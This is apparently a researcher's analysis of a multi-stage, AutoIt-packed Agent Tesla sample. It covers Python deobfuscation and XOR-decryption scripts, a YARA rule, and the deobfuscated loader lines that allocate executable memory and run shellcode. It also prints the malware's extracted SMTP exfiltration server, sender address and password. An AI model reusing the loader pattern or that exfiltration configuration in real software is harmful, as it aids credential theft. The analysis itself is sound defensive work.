Malware Analysis - Agent Tesla (aka) Origin Loader
0. Malware Analysis Questions
- Is the binary packed? If it’s, so malware is using a well known packer or a custom one?
- What’s the networking communication technique/API set being used by malware? From available techniques such as Winsock2, Wininet, COM (Component Object Model) or something in a lower level such as WSK (Winsock Kernel) or even custom implemented technique, which is being used?
- Is there any code injection or hooking technique being used? Which one?
- What are the anti-forensic techniques used? Is there any anti-debugging technique? Anti-disassembly? Anti-VM/Sandbox?
- Is there any API/DLL encoding?
- Are strings encrypted?
- What synchronization primitives are being used by the malware? Sometimes they hide important anti-debugging techniques.
- What are cryptography algorithms being used by the malware?
- What persistence methods are being used by the threat: Registry, services, tasks or kernel drivers?
- Is there any shellcode being injected into a operating system process?
- Is there any file system mini-filter driver being installed by malware?
- If there’s a kernel drivers being installed, is there any callback (a kind of modern hook) or timer being installed?
1. Unpacking the Initial Payload
File Structure Overview
The initial payload is distributed as a ZIP file containing an executable. Here’s a flow of how the layers of the malware are structured:

2. PE Analysis of the Initial EXE
Upon inspecting the PE file, we noticed an AutoIt signature, indicating that the executable is a compiled AutoIt script.

3. Extracting the AutoIt Script
Using Exe2Aut, we extracted the script and found two additional files. Upon reviewing the AutoIt script, it became clear that it was obfuscated.

4. Deobfuscating the AutoIt Script
The script used a simple obfuscation technique, where data and a key are passed as arguments, then manipulated. To reverse this, I wrote a Python deobfuscation script with the help of Gemini AI:
import re
pattern = '(C307gBwu\(\"([^\"]+)\")'
regax = re.compile(pattern, re.IGNORECASE)
def deobf_data(data, key):
result = ""
chars_str = data.split("+")
for item in chars_str:
deobf_int = (int(item) - key) % 256
result += chr(deobf_int)
return result
def dump_file(data, output):
with open(output, 'wb') as f:
f.write(data.encode('latin1'))
# Example usage
#data = "116+110+123+119+110+117+60+59"
key = 9
scriptFile = r'/Users/sawwinnaung/Documents/work/testing/devops/python/Request for Quotation doc_.au3'
with open (scriptFile, 'rb') as script:
datas = script.read().decode('latin1')
found = regax.findall(datas)
for data in found:
decrypt_data = deobf_data(data[1],key)
original_data = data[0]
print(original_data + "-----" + decrypt_data)
datas = datas.replace(original_data, '"'+decrypt_data+'"')
dump_file(datas, scriptFile+ '.debofs')
# decoded_data = deobf_data(data, key)
# print(decoded_data)
After I got deobfuscated data I can get important part is
- cerecloths file is obfuscate with previous method
- The bytes are loaded with VirtualAlloc and execute DllCallAddress at address 0x24e0
- I assume that is second stage shellcode.
FileInstall("soliloquised", @TempDir & "\soliloquised", 1)
FileInstall("cerecloths", @TempDir & "\cerecloths", 1)
$c301oyal = Execute('FileRead(FileOpen(@TempDir & "\cerecloths"))')
$c301oyal = c307gbwu($c301oyal, 9)
$m33oke = Execute('DllCall("kernel32", 9), "ptr", 9), "VirtualAlloc", 9), "dword", 9), 0, "dword", 9), BinaryLen($C301oyAL), "dword", 9), "0x3000", 9), "dword", 9), "0x40", 9))')
$m33oke = $m33oke[0]
$g37jijd = Execute('DllStructCreate("byte [", 9) & BinaryLen($C301oyAL) & "]", 9), $M33Oke)')
Execute("DllStructSetData($G37jIJD, 1, $C301oyAL)")
Execute('DllCallAddress("int", 9), $M33Oke + 0x24e0)')
5. Second Stage Shellcode Analysis
Once the AutoIt script was deobfuscated, we identified a second-stage shellcode hidden in the cerecloths file. Using the same Python script as earlier, we deobfuscated the cerecloths file.

def deobf_data(data, key):
result = ""
chars_str = data.split("+")
for item in chars_str:
deobf_int = (int(item) - key) % 256
result += chr(deobf_int)
return result
def dump_file(data, output):
with open(output, 'wb') as f:
f.write(data.encode('latin1'))
# Example usage
#data = "116+110+123+119+110+117+60+59"
shellcode = r'C:\Users\saw\Desktop\samples\agent_tesla_v4\cerecloths'
key = 9
with open(shellcode, 'r') as file:
data = file.read()
decoded_data = deobf_data(data, key)
dump_file(decoded_data, 'cerecolths.decrypt')
6. Analyzing the Shellcode
After extracting the shellcode, I disassembled it, focusing on the code at 0x24e0. The shellcode performed the following:
-
Loaded a string (assumed key)
-
Loaded another binary (
soliloquised) -
Called a function that performed XOR operations on the binary data using the key.

I used Gemini AI to translated Pseudo code into a Python script for decryption:
def xor_bytes(data, key, repeat_key=True):
"""
Performs XOR operation on byte arrays with optional key repetition.
Args:
data: The byte array to be XORed (the encoded data file).
key: The byte array to be used as the key (the key you provide).
repeat_key: If True (default), the key will be repeated if it's shorter than the data.
Returns:
A new byte array containing the decoded result.
"""
result = bytearray(len(data))
key_length = len(key)
for i in range(len(data)):
key_index = i % key_length if repeat_key else i
result[i] = data[i] ^ key[key_index]
return result
def decode_file(encoded_file, key):
"""
Reads encoded data from a file, XORs it with the provided key,
and writes the decoded data to a new file.
Args:
encoded_file: Path to the file containing encoded data.
key: The byte array to be used as the key.
"""
with open(encoded_file, 'rb') as encoded, open(encoded_file + '.decoded', 'wb') as decoded:
encoded_data = encoded.read()
decoded_data = xor_bytes(encoded_data, key)
decoded.write(decoded_data)
# Example usage
encoded_file = r'C:\Users\saw\Desktop\samples\agent_tesla_v4\soliloquised'
key = b"BVDFPWU3XGO77TZ3" # Replace with actual key (bytes)
decode_file(encoded_file, key)
print(f"Decoded file saved as: {encoded_file}.decoded")
7. Final Stage: Origin Loader Analysis
The final decoded file soliloquised was found to be a .NET executable, which upon analysis with dnSpyEX, revealed the core Agent Tesla payload. This file was responsible for executing commands such as logging keystrokes, capturing screenshots, and exfiltrating data via SMTP.

Configuration Extraction
Here’s part of the configuration extracted from the .NET binary:
public static string SmtpServer = "mail.ivftech.cam";
public static string SmtpSender = "[email protected]";
public static string SmtpPassword = "Xb2CO@@htzx)";
public static string SmtpReceiver = "[email protected]";
8. Next Steps: Automating with Python and Writing YARA Rules
The entire unpacking and deobfuscation process can be automated further using Python scripts. Additionally, creating YARA rules to detect obfuscation patterns and signatures from the Agent Tesla sample can improve detection.
rule AgentTesla_AutoIT {
meta:
description = "Detects Agent Tesla packed with AutoIt"
author = "Saw Win Naung"
date = "2024-03-10"
strings:
$autoit_magic = { FE ED FA CE }
$autoit_script = "DllCallAddress"
$encoded_data = "cerecloths"
condition:
all of them
}
Conclusion
By analyzing the multi-stage AutoIt-packed Agent Tesla malware, we identified several obfuscation techniques and were able to reverse-engineer them. Using Python to automate the decryption process, we extracted the final payload, a .NET binary, and reconstructed its configuration.
Next Steps:
- Hunting with Yara rule using EDR
ref: Malware Analysis Series (MAS)
Sample: File Password: infected